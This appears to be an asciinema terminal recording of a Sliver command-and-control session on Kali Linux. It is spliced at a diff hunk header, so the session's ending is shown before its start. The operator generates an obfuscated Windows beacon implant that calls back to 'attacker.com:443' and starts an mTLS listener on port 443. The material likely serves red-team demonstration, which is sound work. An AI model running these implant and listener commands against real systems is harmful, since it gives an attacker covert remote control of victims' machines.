[77.959055, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[78.059452, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[78.159833, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[78.260263, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[78.360644, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[78.461032, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[78.561441, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[78.661823, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[78.762231, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[78.862655, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[78.963027, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[79.063401, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[79.163835, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[79.265475, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[79.365878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[79.466288, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[79.566721, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[79.66709, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[79.767478, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[79.867894, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[79.968304, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[80.068694, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[80.169087, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[80.269465, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[80.369838, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[80.470219, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[80.570601, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[80.671007, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[80.771398, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[80.8718, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[80.972194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[81.072498, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[81.172906, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[81.273319, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[81.373766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[81.47417, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[81.574592, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[81.674979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[81.775365, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[81.875663, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[81.976053, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[82.076504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[82.176927, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[82.277336, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[82.377703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[82.478128, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[82.578609, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[82.678987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[82.779415, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[82.879714, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[82.980011, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[83.080411, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[83.180785, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[83.281174, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[83.381599, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[83.482005, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[83.582444, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[83.682822, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[83.783246, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[83.883634, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[83.984015, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[84.084418, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[84.184812, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[84.285233, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[84.386403, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[84.486736, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[84.587242, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[84.687536, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[84.787924, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[84.88833, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[84.988737, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[85.089133, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[85.189522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[85.289919, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[85.390347, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[85.490743, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[85.591169, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[85.691549, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[85.791991, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[85.892392, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[85.992783, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[86.093186, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[86.193587, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[86.294408, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[86.394599, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[86.495166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[86.595536, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[86.695959, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[86.796374, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[86.896772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[86.997172, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[87.097591, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[87.197964, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[87.298394, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[87.398806, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[87.499234, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[87.599648, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[87.70005, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[87.800474, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[87.900877, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[88.001287, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[88.101698, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[88.202101, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[88.302622, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[88.403036, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[88.503374, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[88.603703, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[88.704091, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[88.804494, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[88.904893, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[89.005224, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[89.105629, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[89.206034, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[89.306448, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[89.40675, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[89.507197, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[89.607577, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[89.707992, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[89.808388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[89.908795, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[90.009226, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[90.109642, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[90.210036, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[90.310443, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[90.410846, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[90.51127, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[90.611653, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[90.712036, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[90.812422, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[90.912748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[91.013185, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[91.113567, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[91.213948, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[91.314376, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[91.414783, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[91.515188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[91.615594, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[91.716005, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[91.816438, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[91.916837, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[92.017253, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[92.117667, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[92.218056, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[92.318456, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[92.418883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[92.5193, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[92.619736, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[92.720141, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[92.82049, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[92.920861, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[93.021335, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[93.121763, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[93.222188, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[93.322569, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[93.423057, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[93.523486, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[93.623822, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[93.724235, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[93.824613, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[93.925022, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[94.025447, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[94.125856, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[94.22635, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[94.326765, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[94.427244, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[94.527703, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[94.628145, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[94.728567, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[94.829008, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[94.929438, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[95.029854, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[95.130289, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[95.230681, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[95.331145, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[95.431481, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[95.531904, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[95.628091, "o", "\r\u001b[2K\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"]
[95.659372, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/payload.exe\r\n\r\n"]
[95.659476, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
[97.061722, "o", "\u001b[J\u001b[2K\r"]
[97.062103, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mm"]
[97.358454, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmt"]
[97.762293, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtl"]
[97.885796, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls"]
[98.107419, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls "]
[98.25878, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls -"]
[98.4377, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --"]
[98.890433, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --l"]
[99.288224, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lp"]
[99.486671, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport "]
[100.534346, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 4"]
[100.730113, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 44"]
[100.847884, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443"]
[101.467008, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\r\n"]
[101.467225, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarting mTLS listener ...\r\n"]
[101.470339, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSuccessfully started job #3\r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
[102.899959, "o", "\u001b[J\u001b[2K\r"]
[102.900598, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mj"]
[103.039168, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjo"]
[103.351582, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjob\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs"]
[103.877364, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\r\n"]
[103.877495, "o", "\r\n"]
[103.878596, "o", " ID Name Protocol Port Stage Profile \r\n==== ====== ========== ====== ===============\r\n 3 mtls tcp 443 \r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
[107.021089, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"]
[107.202237, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"]
[107.294327, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"]
[107.445352, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"]
[107.59321, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\r\n"]
[107.593405, "o", "\u001b[J\u001b[2K\r"]
[107.599102, "o", " \r\r"]
[110.767341, "o", "\u001b[?2004l\r\r\n"]
@@ -0,0 +1,890 @@
{"version": 2, "width": 137, "height": 38, "timestamp": 1702835089, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
[0.097852, "o", " \r\r"]
[0.155329, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
[0.156106, "o", "\u001b[?1h\u001b="]
[0.157882, "o", "\u001b[?2004h"]
[1.125575, "o", "\u001b[1ms\u001b[0m"]
[1.126513, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
[1.421601, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"]
[1.615189, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m\u001b[38;2;153;153;153mi\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b\b"]
[1.629916, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[39m \u001b[39m \u001b[39m \b\b\b"]
[1.630831, "o", "\u001b[38;2;153;153;153mer\u001b[39m\b\b"]
[1.759956, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m"]
[1.853356, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"]
[2.236531, "o", "\u001b[?1l\u001b>"]
[2.23892, "o", "\u001b[?2004l\r\r\n"]
[2.296279, "o", "Connecting to localhost:31337 ...\r\n"]
[2.344065, "o", "\u001b[m"]
[2.346097, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain indestructible\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
[2.346478, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
[3.00925, "o", "\u001b[J\u001b[2K\r"]
[3.010337, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"]
[3.208022, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"]
[3.302823, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"]
[3.372922, "o", "\u001b[J\u001b[2K\r"]
[3.373021, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"]
[3.70229, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"]
[4.052038, "o", "\u001b[J\u001b[2K\r"]
[4.052339, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenera"]
[4.510978, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "]
[5.054448, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate b"]
[5.280013, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate be"]
[5.46739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon "]
[6.419442, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon -"]
[6.614411, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --"]
[6.856392, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --m"]
[7.095018, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mt"]
[7.266718, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtl"]
[7.505325, "o", "\u001b[J\u001b[2K\r"]
[7.505432, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls"]
[7.700302, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls "]
[7.899072, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls a"]
[8.035391, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls at"]
[8.199555, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls att"]
[8.419739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls atta"]
[8.527686, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attac"]
[8.947179, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attack\u001b[J\u001b[2K\r"]
[8.947632, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker"]
[9.102625, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker."]
[9.250979, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.c"]
[9.470126, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.co"]
[9.473668, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com"]
[10.219427, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:"]
[10.62294, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:4"]
[11.043501, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:44"]
[11.059748, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443"]
[11.404661, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 "]
[11.739648, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 -"]
[12.091586, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --"]
[12.615716, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --s"]
[12.712567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sa"]
[12.797343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sav"]
[13.139634, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save "]
[13.663953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save b"]
[13.759355, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save be"]
[13.856114, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save bea"]
[14.058062, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beac"]
[14.186399, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beaco"]
[14.303636, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon"]
[14.908132, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.e"]
[14.993707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.ex"]
[15.427513, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe"]
[15.95164, "o", "\u001b[J\u001b[2K\r"]
[15.952182, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\r\n\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 beacon implant binary (1m0s)\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"]
[16.054085, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[16.154487, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[16.254959, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
